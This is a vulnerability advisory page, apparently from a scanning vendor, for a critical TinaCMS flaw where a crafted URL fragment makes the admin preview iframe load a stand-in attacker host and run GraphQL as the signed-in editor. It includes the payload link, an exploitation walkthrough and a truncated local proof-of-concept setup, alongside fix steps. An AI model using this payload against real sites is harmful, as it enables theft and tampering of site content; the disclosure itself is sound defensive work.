TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
CVE-2026-108261 · GHSA-x34j-47hf-4xg7 · published 9 Oct 2026
How serious is it
- Severity: critical, CVSS score 9.3 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-108261?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
tinacms(npm) <= 3.13.0@tinacms/app(npm) <= 2.5.13
How to check
- Run
npm ls tinacmsin your project to see the installed version, including copies pulled in by other packages. - Run
npm ls @tinacms/appin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- On <= 3.13.0: Upgrade
tinacmsto 3.14.0 or later, commit the lockfile and redeploy. - On <= 2.5.13: Upgrade
@tinacms/appto 2.5.14 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
The TinaCMS admin builds its preview `<iframe src>` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin↔preview `postMessage` channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.
One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.
### Details
Root cause — the router splat becomes the frame source with no same-origin check:
```
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
```
The leading `/` is meant to force a relative path, but `react-router-dom@6.30.3` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.
The trust anchor is then computed from that same value:
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
```
Both guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.
`PreviewInner`'s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.
Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
```
`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.
Default-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy — so the route exists in every `tinacms build` output and in `tinacms dev`.
Incomplete-fix note: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.
Affected-range basis, stated plainly: I tested only `tinacms@3.12.1` / `@tinacms/app@2.5.12` (commit `0d38acf`). The ranges below are given as `<=` because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest `8a86ffa` (2026-06-26), which predates the `3.9.3` hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.
Suggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`.
### PoC
Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched.
Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.
**Setup**
```bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
```
`victim/admin.tsx` — `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):
```tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
log('cms.api.tina.request() called with attacker query', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTE…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7
- github.com/tinacms/tinacms/pull/7522
- github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf
- github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14
- github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0
- github.com/advisories/GHSA-x34j-47hf-4xg7
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON